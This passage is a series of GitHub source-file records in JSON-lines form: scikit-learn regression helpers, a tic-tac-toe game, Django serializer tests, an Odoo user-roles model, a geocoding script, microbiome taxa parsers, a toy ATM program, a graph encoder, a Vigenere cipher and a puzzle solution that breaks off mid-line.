np.set_printoptions(precision=2)\r\n    print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test),1)),1))\r\n    \r\n    # Evaluating the Model Performance\r\n    from sklearn.metrics import r2_score\r\n    score = r2_score(y_test, y_pred)\r\n    print(f'The r2 score is {score}.')\r\n    \r\n    return regressor\r\n\r\n\r\ndef random_forest_regression(path, size_select):\r\n    dataset = pd.read_csv(path)\r\n    X = dataset.iloc[:, :-1].values\r\n    y = dataset.iloc[:, -1].values\r\n    \r\n    estimators_select = int(input('Type number of estimators to use\\n'))\r\n\r\n    # Splitting the dataset into the Training set and Test set\r\n    from sklearn.model_selection import train_test_split\r\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = size_select, random_state = 0)\r\n\r\n    # Training the Random Forest Regression model on the whole dataset\r\n    from sklearn.ensemble import RandomForestRegressor\r\n    regressor = RandomForestRegressor(n_estimators = estimators_select, random_state = 0)\r\n    regressor.fit(X_train, y_train)\r\n    \r\n    # Predicting the Test set results\r\n    y_pred = regressor.predict(X_test)\r\n    np.set_printoptions(precision=2)\r\n    print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test),1)),1))\r\n    \r\n    # Evaluating the Model Performance\r\n    from sklearn.metrics import r2_score\r\n    score = r2_score(y_test, y_pred)\r\n    print(f'The r2 score is {score}.')\r\n    \r\n    return regressor\r\n\r\n\r\ndef support_vector_regression(path, size_select):\r\n    dataset = pd.read_csv(path)\r\n    X = dataset.iloc[:, :-1].values\r\n    y = dataset.iloc[:, -1].values\r\n    y = y.reshape(len(y), 1)\r\n    \r\n    # Splitting the dataset into the Training set and Test set\r\n    from sklearn.model_selection import train_test_split\r\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = size_select, random_state = 0)\r\n\r\n    # Feature Scaling\r\n    from sklearn.preprocessing import StandardScaler\r\n    sc_X = StandardScaler()\r\n    sc_y = StandardScaler()\r\n    X_train = sc_X.fit_transform(X_train)\r\n    y_train = sc_y.fit_transform(y_train)\r\n    \r\n    # Training the SVR model on the Training set\r\n    from sklearn.svm import SVR\r\n    regressor = SVR(kernel = 'rbf')\r\n    regressor.fit(X_train, y_train.ravel())\r\n    \r\n    # Predicting the Test set results\r\n    y_pred = sc_y.inverse_transform(regressor.predict(sc_X.transform(X_test)).reshape(-1,1))\r\n    np.set_printoptions(precision=2)\r\n    print(np.concatenate((y_pred.reshape(len(y_pred),1), y_test.reshape(len(y_test),1)),1))\r\n    \r\n    # Evaluating the Model Performance\r\n    from sklearn.metrics import r2_score\r\n    score = r2_score(y_test, y_pred)\r\n    print(f'The r2 score is {score}.')\r\n    \r\n    return regressor\r\n    \r\n    \r\ndef regression_wizard(path, size_select):\r\n    regression_select = 0\r\n    while regression_select not in ['a', 'b', 'c', 'd', 'e', 'f']:\r\n        regression_select = input('Which regression would you like to use? (Type Letter):\\n a. Decisiion Tree Regression \\n b. Multiple Linear Regression \\n c. Polynomial Regression \\n d. Random Forest Regression \\n e. Support Vector Regression \\n f. EXIT \\n')\r\n        \r\n    if regression_select == 'a':\r\n        print('Decision Tree Regression Selected')\r\n        model = decision_tree_regression(path, size_select)\r\n    elif regression_select == 'b':\r\n        print('Multiple Linear Regression Selected')\r\n        model = multiple_linear_regression(path, size_select)\r\n    elif regression_select == 'c':\r\n        print('Polynomial Regression Selected')\r\n        model = polynomial_regression(path, size_select)\r\n        # have them pick degrees in the function\r\n    elif regression_select == 'd':\r\n        print('Random Forest Regression Selected')\r\n        model = random_forest_regression(path, size_select)\r\n        # have them pick number of estimators in the function\r\n    elif regression_select == 'e':\r\n        print('Support Vector Regression Selected')\r\n        model = support_vector_regression(path, size_select)\r\n    else:\r\n        print('Leaving Model Wizard')\r\n        \r\n    return model\r\n        \r\n        \r\ndef model_wizard(path, size_select):\r\n    import numpy as np\r\n    import pandas as pd\r\n    import matplotlib.pyplot as plt\r\n    \r\n    model_select = 0\r\n    while model_select not in [1, 2, 3, 4]:\r\n        model_select = int(input('Which type of model would you like to use? (Type Number):\\n 1. Regression \\n 2. Classification \\n 3. Clustering \\n 4. EXIT \\n'))\r\n    \r\n    if model_select == 1:\r\n        print('Regression Selected')\r\n        model = regression_wizard(path, size_select)\r\n    elif model_select == 2:\r\n        print('Classification Selected')\r\n        # model = classification_wizard()\r\n    elif model_select == 3:\r\n        print('Clustering Selected')\r\n        # model = clustering_wizard()\r\n    else:\r\n        print('Leaving Model Wizard')\r\n        \r\n    return model","repo_name":"clickityKlein/Machine_Learning_Templates","sub_path":"machine_learning.py","file_name":"machine_learning.py","file_ext":"py","file_size_in_byte":10295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30691730042","text":"def display_board(board):\r\n    list1 = [\"|  \", board[7], \"  |  \", board[8], \"    |  \", board[9],\"  |\"]\r\n    list3 = [\"|  \",board[4], \"  |  \",board[5], \"    |  \",board[6],\"  |\"]\r\n    list5 = [\"|  \",board[1], \"  |   \", board[2], \"  |  \",board[3],\"  |\"]\r\n    line1 = ''.join(list1)\r\n    line2 = \"------------------\"\r\n    line3 = ''.join(list3)\r\n    line4 = \"------------------\"\r\n    line5 = ''.join(list5)\r\n    board2 = line1 + \"\\n\" + line2 + \"\\n\" + line3 + \"\\n\" + line4 + \"\\n\" + line5\r\n    print(board2)\r\n\r\n\r\ndef players_symbols():\r\n    player1choice=\"\"\r\n    while(player1choice!=\"X\" or player1choice!=\"O\"):\r\n        player1choice=input(\"Player 1 Do you want to be X or O\").upper()\r\n        if (player1choice == \"X\"):\r\n            return (\"X\",\"O\")\r\n\r\n        else:\r\n            return (\"O\",\"X\")\r\n\r\n\r\n\r\ndef insert_symbol(board,symbol,position):\r\n    board[position]=symbol\r\n\r\n\r\n\r\ndef win_check(board,symbol):# check for rows coloumns and diagonals\r\n    return((board[7]==symbol and board[8]==symbol and board[9]==symbol)or\r\n           (board[4] == symbol and board[5] == symbol and board[6] == symbol)or\r\n           (board[1] == symbol and board[2] == symbol and board[3] == symbol)or\r\n\r\n           (board[7] == symbol and board[4] == symbol and board[1] == symbol)or\r\n           (board[8] == symbol and board[5] == symbol and board[2] == symbol)or\r\n           (board[9] == symbol and board[6] == symbol and board[3] == symbol)or\r\n\r\n           (board[7] == symbol and board[5] == symbol and board[3] == symbol)or\r\n           (board[9] == symbol and board[5] == symbol and board[1] == symbol)\r\n\r\n    )\r\n\r\n\r\n\r\ndef space_check(board,position):\r\n    return board[position]== \"\"\r\n\r\n\r\n\r\ndef full_board_check(board):\r\n    boardfull=True\r\n    for i in range(9):\r\n        if (board[i]==\"\"):\r\n            boardfull=False\r\n    return boardfull\r\n\r\ndef player_choice(board):\r\n    position=0\r\n    while ((position not in range(1,10)) or (not space_check(board, position))):\r\n        position = int(input('Choose your next position: (1-9) '))\r\n    return position\r\n\r\ndef replay():\r\n    return input('Do you want to play again? Enter Yes or No: ').lower().startswith('y')\r\n\r\n#\r\n# test_board = ['#','','O','X','O','X','O','X','O','X']\r\n# display_board(test_board)\r\n#\r\n# print(player_choice(test_board))\r\n\r\ndef main():\r\n    firstboard=\"|  7 |  8 |  9 |\"+\"\\n\"+\"----------------\"+\"\\n\"+\"|  4 |  5 |  6 |\"+\"\\n\"+\"----------------\"+\"\\n\"+\"|  1 |  2 |  3 |\"\r\n    print('Welcome to Tic Tac Toe!')\r\n    while True:\r\n        playboard = [\"#\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\"]\r\n        playerssymbols=players_symbols()\r\n        player1symbol=playerssymbols[0]\r\n        player2symbol=playerssymbols[1]\r\n        playersready=input(\"Are you ready to play? Enter(Yes or No)\").lower().startswith('y')\r\n        print(\"Player 1 goes first.\")\r\n        print(firstboard)\r\n        for i in range(9):\r\n            if (i%2==0):\r\n                insert_symbol(playboard,player1symbol,player_choice(playboard))\r\n\r\n            elif (i%2==1):\r\n                insert_symbol(playboard, player2symbol, player_choice(playboard))\r\n\r\n\r\n            display_board(playboard)\r\n            wincheck1=win_check(playboard, player1symbol)\r\n            wincheck2=win_check(playboard, player2symbol)\r\n            if(wincheck1):\r\n                print(\"Player 1 has won!\")\r\n                break\r\n            elif (wincheck2):\r\n                print(\"Player 2 has won!\")\r\n                break\r\n            elif(full_board_check(playboard)):\r\n                print(\"The game has been a Tie!\")\r\n                break\r\n        if not replay():\r\n            break\r\n\r\n\r\n\r\nmain()\r\n\r\n","repo_name":"AlyAssem/Tic-Tac-Toe-game","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8256600017","text":"from django.test import TestCase\nfrom rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\n\nfrom rest_serializers.serializers import ManyToManySerializer\nfrom rest_serializers.validators import LazyUniqueTogetherValidator\nfrom tests.models import Child, Parent\n\n\nclass ChildSerializer(serializers.ModelSerializer):\n    \"\"\"\n    a child serializer that we do not want to pass parent id in the data\n    we have to use the lazy validator here which will skip validation\n    till attempting to save\n    \"\"\"\n\n    class Meta:\n        model = Child\n        fields = (\"id\", \"name\")\n        validators = [\n            LazyUniqueTogetherValidator(\n                queryset=model.objects.all(), fields=(\"name\", \"parent\")\n            )\n        ]\n\n\nclass ParentSerializer(ManyToManySerializer):\n    children = ChildSerializer(many=True)\n\n    class Meta:\n        model = Parent\n        fields = (\"id\", \"name\", \"children\")\n\n\nclass UniqueTogetherTests(TestCase):\n    def test_can_validate_and_save(self):\n        data = {\"name\": \"Freddy Star\", \"children\": [{\"name\": \"Bob\"}, {\"name\": \"Sally\"}]}\n        serializer = ParentSerializer(data=data)\n\n        self.assertTrue(serializer.is_valid())\n\n        serializer.save()\n\n        # correct rows exist\n        self.assertEqual(Parent.objects.count(), 1)\n        self.assertEqual(Child.objects.count(), 2)\n\n    def test_invalidates_correctly(self):\n        data = {\n            \"name\": \"Freddy Star\",\n            \"children\": [{\"name\": \"Sally\"}, {\"name\": \"Sally\"}],\n        }\n        serializer = ParentSerializer(data=data)\n\n        # initially valid as parent on child is missing\n        self.assertTrue(serializer.is_valid())\n\n        # however saving it will raise the correct validation error\n        with self.assertRaises(ValidationError) as cm:\n            serializer.save()\n\n        self.assertEqual(\n            cm.exception.detail,\n            {\"non_field_errors\": [\"The fields name, parent must make a unique set.\"]},\n        )\n\n        # nothing should save\n        self.assertEqual(Parent.objects.count(), 0)\n        self.assertEqual(Child.objects.count(), 0)\n\n    def test_adding_to_existing_validates_and_saves(self):\n        parent = Parent.objects.create(name=\"Freddy Star\")\n        child = Child.objects.create(name=\"Bob\", parent=parent)\n\n        data = {\n            \"id\": parent.pk,\n            \"name\": parent.name,\n            \"children\": [{\"id\": child.pk, \"name\": child.name}, {\"name\": \"Sally\"}],\n        }\n\n        serializer = ParentSerializer(instance=parent, data=data)\n\n        self.assertTrue(serializer.is_valid())\n\n        serializer.save()\n\n        # correct rows exist\n        self.assertEqual(Parent.objects.count(), 1)\n        self.assertEqual(Child.objects.count(), 2)\n\n    def test_adding_invalid_to_existing_raises_correct_validation_error(self):\n        parent = Parent.objects.create(name=\"Freddy Star\")\n        child = Child.objects.create(name=\"Bob\", parent=parent)\n\n        data = {\n            \"id\": parent.pk,\n            \"name\": parent.name,\n            \"children\": [{\"id\": child.pk, \"name\": child.name}, {\"name\": child.name}],\n        }\n\n        serializer = ParentSerializer(instance=parent, data=data)\n\n        # initially valid as parent on child is missing\n        self.assertTrue(serializer.is_valid())\n\n        # however saving it will raise the correct validation error\n        with self.assertRaises(ValidationError) as cm:\n            serializer.save()\n\n        self.assertEqual(\n            cm.exception.detail,\n            {\"non_field_errors\": [\"The fields name, parent must make a unique set.\"]},\n        )\n\n        # correct rows exist\n        self.assertEqual(Parent.objects.count(), 1)\n        self.assertEqual(Child.objects.count(), 1)\n","repo_name":"AccentDesign/Accent_RestSerializers","sub_path":"tests/test_unique_together_validator.py","file_name":"test_unique_together_validator.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11065874523","text":"from odoo import fields, models, api, _\nfrom odoo.exceptions import UserError\n\n\nclass UserRoles(models.Model):\n    _name = 'user.roles'\n    _description = 'User Roles'\n    manager_id = fields.Many2many('res.users', string='User')\n    line_user_ids = fields.One2many('user.roles.line', 'role_id', string='Role user line')\n    name = fields.Char(string='Name')\n    groups_user = fields.Many2many('res.groups', string='GroupUser')\n\n    @api.model\n    def create(self, vals):\n        check_user = self.check_user_in_user_role()\n        user_role = super(UserRoles, self).create(vals)\n\n        # check user đã thuộc 1 user role hay chưa\n        for all_user_role in check_user:\n            for user_pice in user_role.manager_id:\n                if all_user_role == user_pice:\n                    raise UserError('User already exists in other User role records')\n        if user_role.manager_id and user_role.groups_user:\n            for group in user_role.groups_user:\n                for user in user_role:\n                    group.sudo().update({\n                        'users': [(4, user.id)]\n                    })\n        return user_role\n\n    def write(self, vals):\n        self = self.sudo()\n        user_old = self.update_roles()\n\n        group_old = self.groups_old()\n        user_line_old = self.del_user()\n        res = super(UserRoles, self).write(vals)\n\n        #Xóa group trong user role tự động xóa user ra khỏi group\n        if self.groups_user:\n            group_unlink = group_old - self.groups_user\n            for user_del in self.update_roles():\n                group_unlink.sudo().update({\n                    'users': [(3, user_del.id)]\n                })\n\n        # Thêm và Xóa User trong user roles thì user tự động thêm, xóa khỏi groups\n        if self.line_user_ids.user_id:\n            user_line_unlink = user_line_old - self.line_user_ids.user_id\n        else:\n            user_line_unlink = user_line_old\n        for group in self.groups_user:\n            for list_user_line in user_line_unlink:\n                group.sudo().update({\n                    'users': [(3, list_user_line.id)]\n                })\n        for group in self.groups_user:\n            for user_add in self.line_user_ids.user_id:\n                if user_add.independent:\n                    raise UserError(_(\"Not add user in groups\"))\n                if group.name == \"#1 . Admin User Roles\":\n                    continue\n                group.sudo().update({\n                    'users': [(4, user_add.id)]\n                })\n\n        # Thêm và xóa cho user được quyền assign nhiệm vụ tự động thêm và xóa user ra khoi gruops\n        if self.manager_id or self.groups_user:\n\n            user_unlink = user_old - self.manager_id\n            if len(user_unlink) > 0:\n                for group in self.groups_user:\n                    for list_user in user_unlink:\n                        list_user.set_user_role = False\n                        group.sudo().update({\n                            'users': [(3, list_user.id)]\n                        })\n            for group in self.groups_user:\n                for user in self.manager_id:\n                    user.set_user_role = True\n                    if user.independent:\n                        raise UserError(_(\"Not add user in groups\"))\n                    else:\n                        group.sudo().update({\n                            'users': [(4, user.id)]\n                        })\n            return res\n\n        # function check tồn tại user\n\n    def check_user_in_user_role(self):\n        list_user_check = []\n        user_role = self.env['user.roles'].search([])\n        for rec in user_role:\n            for result in rec.manager_id:\n                list_user_check.append(result)\n        return list_user_check\n\n    def groups_old(self):\n        return self.groups_user\n\n    def update_roles(self):\n        return self.manager_id\n\n    def del_user(self):\n        return self.line_user_ids.user_id\n","repo_name":"sagarpise/datn","sub_path":"user_roles/models/user_roles.py","file_name":"user_roles.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23939138521","text":"#!/usr/bin/env python3\nimport requests\nimport json\n\ndef geocode(address):\n        parameters = {'address': address, 'key': ''}\n        base = 'http://restapi.amap.com/v3/geocode/geo'\n        response = requests.get(base, parameters)\n        answer = response.json()\n        print(address + \"的经纬度：\", answer['geocodes'][0]['location'])\n        result =answer['geocodes'][0]['location']\n        json_str = json.dumps(result)\n        fileObject = open('result.json', 'a')\n        fileObject.write(json_str+'\\n')\n        fileObject.close()\n\n\nif __name__=='__main__':\n    json_data = \"\"\"  \"\"\"\n    data = json.loads(json_data)\n    for value in data['addressAll']:\n        address = value['address']+value['name']\n        geocode(address)\n\n\n","repo_name":"XCtwelve/Test","sub_path":"高德地图地理编码.py","file_name":"高德地图地理编码.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16952280569","text":"#!/usr/bin/env python\n\nfrom __future__ import division\n\nfrom numpy import array, argsort, zeros\n\n__author__ = \"Sam Way\"\n__copyright__ = \"Copyright 2013, The American Gut Project\"\n__credits__ = [\"Sam Way\"]\n__license__ = \"BSD\"\n__version__ = \"unversioned\"\n__maintainer__ = \"Sam Way\"\n__email__ = \"samuel.way@colorado.edu\"\n\n\ndef get_filtered_taxa_summary(mapping_file, taxa_summary_file,\n                              metadata_category, metadata_value,\n                              top_n_taxa=7, select_taxa=None):\n    \"\"\" Get a simplified taxonomy table.\n\n        Inputs:\n        mapping_file - Input mapping file (sample ids match taxa file)\n        taxa_summary_file - Taxonomy summary file\n        metadata_category - Used to select specific samples from the taxa file\n        metadata_value - Value used to select specific samples\n                         from the taxa file\n        top_n_taxa - If taxonomy groups aren't specified use the\n                     top N most abundant\n        select_taxa - List of desired taxonomic groups\n\n        Outputs:\n        filtered_sample_ids - selected sample ids\n        taxa_labels - taxonomic labels (including \"Other\")\n        collapsed_taxa_table - simplified taxonomy table\n    \"\"\"\n\n    mapping_fp = open(mapping_file, 'rU')\n    mapping_dict, _ = parse_mapping_file_to_dict(mapping_fp)\n    taxa_fp = open(taxa_summary_file, 'rU')\n    sample_ids, taxa_ids, taxa_table = parse_taxa_summary_table(taxa_fp)\n    taxa_ids = [taxa_id.split('__')[-1] for taxa_id in taxa_ids]\n\n    selected_ids = set([k for k, v in mapping_dict.iteritems()\n                       if v[metadata_category] == metadata_value])\n\n    if not selected_ids:\n        raise ValueError(\"No sample ids match metadata_value='%s'\"\n                         \" in metadata_category='%s'\" %\n                         (metadata_value, metadata_category))\n\n    sample_id_indices = [i for i, sample_id in enumerate(sample_ids)\n                         if sample_id in selected_ids]\n    filtered_taxa_table = taxa_table[:, sample_id_indices]\n    filtered_sample_ids = [sample_ids[idx] for idx in sample_id_indices]\n\n    if select_taxa is None:\n        # If select_taxa is None, take the top N most abundant\n        totals = filtered_taxa_table.sum(axis=1)\n        taxa_indices = argsort(-totals)\n\n        if top_n_taxa > len(taxa_indices):\n            raise ValueError(\"Number of taxa to select exceeds \"\n                             \"actual count\")\n\n        top_taxa = taxa_indices[:top_n_taxa]\n        other_taxa = taxa_indices[top_n_taxa:]\n        taxa_labels = [taxa_ids[idx] for idx in top_taxa]\n    else:\n        # List of taxa was supplied, use those\n        top_taxa = [taxa_ids.index(x) for x in select_taxa]\n        other_taxa = [t for t in xrange(len(taxa_ids)) if t not in top_taxa]\n        taxa_labels = select_taxa\n\n    taxa_labels.append('Other')\n    N = len(taxa_labels)  # Number of classes/labels\n\n    # Sort samples by most_abundant_taxa\n    sort_sample_indices = argsort(-filtered_taxa_table[top_taxa[0], :])\n    filtered_taxa_table = filtered_taxa_table[:, sort_sample_indices]\n    filtered_sample_ids = [filtered_sample_ids[idx] for idx\n                           in sort_sample_indices]\n\n    # Collapse \"Others\" rows into single row\n    collapsed_taxa_table = zeros((N, filtered_taxa_table.shape[1]))\n    collapsed_taxa_table[:-1, :] = filtered_taxa_table[top_taxa, :]\n    collapsed_taxa_table[-1, :] = \\\n        filtered_taxa_table[other_taxa, :].sum(axis=0)\n    total = collapsed_taxa_table.sum(axis=0)\n    collapsed_taxa_table = collapsed_taxa_table / total\n\n    return filtered_sample_ids, taxa_labels, collapsed_taxa_table\n\n\ndef parse_taxa_summary_table(taxa_summary, cast_as=float):\n    \"\"\" Parse a taxa summary table\n\n        Inputs:\n        taxa_summary - (Open) taxa_summary file.\n        cast_as - variable type for table elements.\n\n        Outputs:\n        3-element tuple of (sample_ids, otu_ids,\n            matrix of OTUs(rows) by samples(cols))\n    \"\"\"\n    sample_ids = []\n    taxa_ids = []\n    taxa_table = []\n\n    header_line = taxa_summary.readline()\n    sample_ids = header_line.strip().split('\\t')[1:]\n    num_samples = len(sample_ids)\n\n    for line in taxa_summary:\n        line = line.strip()\n        if not line:\n            continue\n        line_pieces = line.split('\\t')\n        if len(line_pieces[1:]) != num_samples:\n            raise ValueError(\"Error in taxa summary file - \"\n                             \"number of values does not \"\n                             \"match the number of samples\")\n        # Cast row as cast_as elements and append row to table\n        taxa_table.append(array(map(cast_as, line_pieces[1:])))\n        taxa_ids.append(line_pieces[0])\n\n    return sample_ids, taxa_ids, array(taxa_table)\n\n\ndef parse_mapping_file_to_dict(mapping_file):\n    \"\"\" Takes an open mapping file and parses it to a dictionary structure \"\"\"\n\n    metadata_dict = {}\n    metadata_categories = []\n    comments = []\n\n    for line in mapping_file:\n        line = line.strip()\n        if not line:\n            continue\n\n        if line.startswith('#'):\n            line = line[1:]\n            if not metadata_categories:\n                metadata_categories = line.split('\\t')[1:]\n                num_categories = len(metadata_categories)\n            else:\n                comments.append(line)\n        else:\n            line_pieces = line.split('\\t')\n            if len(line_pieces[1:]) != num_categories:\n                raise ValueError(\"Error in mapping file - \"\n                                 \"number of metadata values does not \"\n                                 \"match the number of metadata categories\")\n\n            sample_id = line_pieces[0]\n            metadata_values = line_pieces[1:]\n            metadata_dict[sample_id] = {key: value for key, value in\n                                        zip(metadata_categories,\n                                            metadata_values)}\n\n    return metadata_dict, comments\n","repo_name":"biocore/American-Gut","sub_path":"americangut/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":5975,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"16"}
+{"seq_id":"36109188201","text":"# My first ATM machine program.\nimport random\n\nprint(''' \n                          ***************************************************** \n                          *             WELCOME TO FIRSTBIT BANK              *\n                          *****************************************************\n    ''')\n           \nprint(\"\\nPlease insert your ATM card\")\ncreation =\" ACCOUNT CREATION \"\nprint(creation.center(100,\"*\"))\nname = input(\"Enter your name: \")\npin = int(input(\"Enter a pin you want to set:\"))\naccount_number = random.randint(0000000000,9999999999)\nprint(\"\\nCongratulations! Account created successfully......\")\n\nbalance = 0\n\nprint('''\n                                  ****************************\n                                  *    1. Account details    *\n                                  *    2. Balance enquiry    *\n                                  *    3. Deposite cash      *\n                                  *    4. Withdraw cash      *                                   \n                                  *    5. Set new pin        *                    \n                                  *    6. Exit               *                    \n                                  ****************************\n    ''')  \nch = 0\nwhile (ch != 6):\n        ch = int(input(\"\\nEnter the choice you want to do: \"))\n        if (ch == 1):\n            print(\"Account name:\",name)\n            print(\"Account number:\",account_number)\n            print(\"Available balance:\",balance)\n        \n        elif (ch == 2):\n            print(\"Total balance is Rs.\",balance)\n\n        elif (ch == 3):\n            ammount = float(input(\"\\nEnter the ammount of money you want to deposite:Rs.\"))\n            if (ammount > 0):\n                balance = balance + ammount\n                print(\"Rs.\",ammount,\"is deposite sucessfully\")\n                print(\"Available balance is Rs.\",balance)\n\n        elif(ch == 4):\n            ammount = float(input(\"\\nEnter the amount of money you want to widthdraw:Rs.\"))\n            if (ammount > balance):\n                print(\"You don't have sufficient balance to make this widthdrawal\")\n            else:\n                balance = balance - ammount\n                print(\"Rs.\",ammount,\"is withdraw sucessfully\")\n                print(\"Available balance is Rs.\",balance)\n\n        elif (ch == 5):\n            otp = random.randint(1111,9999)\n            print(\"\\nOne Time Password(OTP):\",otp)\n            i = 1\n            while (i <= 3):\n                otp_enter = int(input(\"\\nPlease enter OTP here:\"))\n                i+=1\n                if (otp == otp_enter):\n                    new_pin = int(input(\"\\nEnter your new pin:\"))\n                    print(\"\\nYour new pin is set sucessfully.\")\n                    break\n            else:\n                print(\"\\nPlease check your OTP.\")\n                print(\"Retry after sometime\")\n                \n           \n        elif (ch == 6):\n            s = \" PRINT RECEIPT \"\n            print(s.center(100,\"*\"))\n\n            print(\"Account name:\",name)\n            print(\"Account number:\",account_number)\n            print(\"Available balance:\",balance)\n\n            s1 = \" THANK YOU FOR CHOOSING US AS YOUR BANK \"\n            print(s1.center(100,\"*\"))\n        else:\n            print(\"\\nPlease enter a correct value shown\")\n\n","repo_name":"omkar5252/mini_project_atm","sub_path":"atm.py","file_name":"atm.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"35367625047","text":"\"\"\"\"Define the GraphEncoder class.\"\"\"\n\nfrom typing import Tuple\n\nimport torch\n\nfrom meshnets.modules.mlp import MLP\n\n\nclass GraphEncoder(torch.nn.Module):\n    \"\"\"Encoder for graphs.\n    \n    Encode graphs to latent graphs by applying an MLP encoder to each\n    node features and a second MLP encoder to each mesh features.\n    \"\"\"\n\n    def __init__(self, node_feats_size, edge_feats_size, latent_size,\n                 num_mlp_layers):\n        \"\"\"Initialize the node features encoder and the edge features encoder\n        given the features sizes, latent size and number of MLP layers.\"\"\"\n        super().__init__()\n\n        node_encoder_widths = [node_feats_size\n                              ] + (num_mlp_layers + 1) * [latent_size]\n        self.node_encoder = MLP(node_encoder_widths, layer_norm=True)\n\n        edge_encoder_widths = [edge_feats_size\n                              ] + (num_mlp_layers + 1) * [latent_size]\n        self.edge_encoder = MLP(edge_encoder_widths, layer_norm=True)\n\n    def forward(self, x: torch.Tensor,\n                edge_attr: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]:\n        \"\"\"Encode the node and edge features of graphs by applying\n        the corresponding MLP encoder to each feature.\n        \n        Return the encoded features.\"\"\"\n\n        x = self.node_encoder(x)\n        edge_attr = self.edge_encoder(edge_attr)\n\n        return x, edge_attr\n","repo_name":"inductiva/meshnets","sub_path":"meshnets/modules/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"3585611293","text":"def vigenere_encrypt(plaintext, keyword):\n    \"\"\"\n    Encrypts plaintext using the Vigenere cipher with the provided keyword.\n\n    Args:\n        plaintext (str): The plaintext to be encrypted (all uppercase letters, no spaces).\n        keyword (str): The keyword to be used for encryption (all uppercase letters).\n\n    Returns:\n        str: The encrypted ciphertext.\n    \"\"\"\n    ciphertext = []\n    keyword = keyword.upper()\n\n    for i, char in enumerate(plaintext):\n        # Calculate the shift value based on the corresponding letter in the keyword\n        shift = ord(keyword[i % len(keyword)]) - ord('A')\n\n        # Encrypt the current character using the Vigenere cipher algorithm\n        encrypted_char = chr((ord(char) - ord('A') + shift) % 26 + ord('A'))\n\n        ciphertext.append(encrypted_char)\n\n    return ''.join(ciphertext)\n\n\ndef get_valid_input(prompt, validator_func):\n    \"\"\"\n    Get user input and validate it using the provided validator function.\n\n    Args:\n        prompt (str): The prompt message to display to the user.\n        validator_func (function): The function used to validate the user input.\n\n    Returns:\n        str: The user input that passed the validation.\n    \"\"\"\n    while True:\n        user_input = input(prompt).strip().upper()\n        if validator_func(user_input):\n            return user_input\n        print(\"Invalid input. Please try again.\")\n\n\ndef is_valid_uppercase(text):\n    \"\"\"\n    Check if the input text contains only uppercase letters.\n\n    Args:\n        text (str): The input text to be validated.\n\n    Returns:\n        bool: True if the input text contains only uppercase letters, False otherwise.\n    \"\"\"\n    return text.isalpha() and text.isupper()\n\n\ndef main():\n    \"\"\"\n    Main function to take user input and perform Vigenere encryption.\n    \"\"\"\n    print(\"=== Vigenere Cipher Encryption Program ===\")\n    \n    plaintext_prompt = \"Enter the plaintext (all uppercase letters, no spaces): \"\n    keyword_prompt = \"Enter the keyword (all uppercase letters): \"\n\n    plaintext = get_valid_input(plaintext_prompt, is_valid_uppercase)\n    keyword = get_valid_input(keyword_prompt, is_valid_uppercase)\n\n    ciphertext = vigenere_encrypt(plaintext, keyword)\n    print(\"Ciphertext:\", ciphertext)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Steinwx/Vignere","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3744660237","text":"# from typing import List\n#\n#\n# \"\"\"\n# yellow의 넓이를 기준으로 brown의 갯수를 구하여 카펫의 크기를 알아냄\n# width * height = yellow\n# 2width + 2height + 4 = brown\n# \"\"\"\n#\n#\n# def solution(brown: int, yellow: int) -> List[int]:\n#     # yellow로 만들 수 있는 세로 길이\n#     for height in range(1, yellow + 1):\n#         print(height)\n#         if yellow % height == 0:\n#             width = yellow // height\n#             if 2 * (width + height) + 4 == brown:\n#                 return [width + 2, height + 2]\n#     return []\n\n\nfrom typing import List\nimport timeit\n\n\"\"\"\nyellow의 넓이를 기준으로 brown의 갯수를 구하여 카펫의 크기를 알아냄\nwidth * height = yellow\n2 * (width + height) + 4 = brown\n\"\"\"\n\n\n# def solution(brown: int, yellow: int) -> List[int]:\n#     for height in range(1, yellow + 1):\n#         width = yellow / height\n#         if 2 * (width + height) + 4 == brown:\n#             return [width + 2, height + 2]\n\n\ndef solution(brown: int, yellow: int) -> List[int]:\n    for height in range(1, yellow + 1):\n        # width는 자연수이므로 나머지가 없어야 함\n        # width = yellow / height\n        if yellow % height == 0:\n            width = yellow // height\n            print(f'width: {width}, height: {height}, 2*({width}+{height})+4 = {2 * (width + height) + 4}, brown: {brown}')\n            if 2 * (width + height) + 4 == brown:\n                return [width + 2, height + 2]\n\n\n# def solution(brown: int, yellow: int) -> List[int]:\n#     for height in range(1, yellow + 1):\n#         width, remainder = divmod(yellow, height)\n#         if remainder == 0:\n#             if 2 * (height + width) + 4 == brown:\n#                 return [width + 2, height + 2]\n\n\nif __name__ == \"__main__\":\n    brown = 10\n    yellow = 2\n    start_time = timeit.default_timer()\n    print(solution(brown, yellow))\n    terminate_time = timeit.default_timer()\n    print(\"%f초 걸렸습니다.\" % (terminate_time - 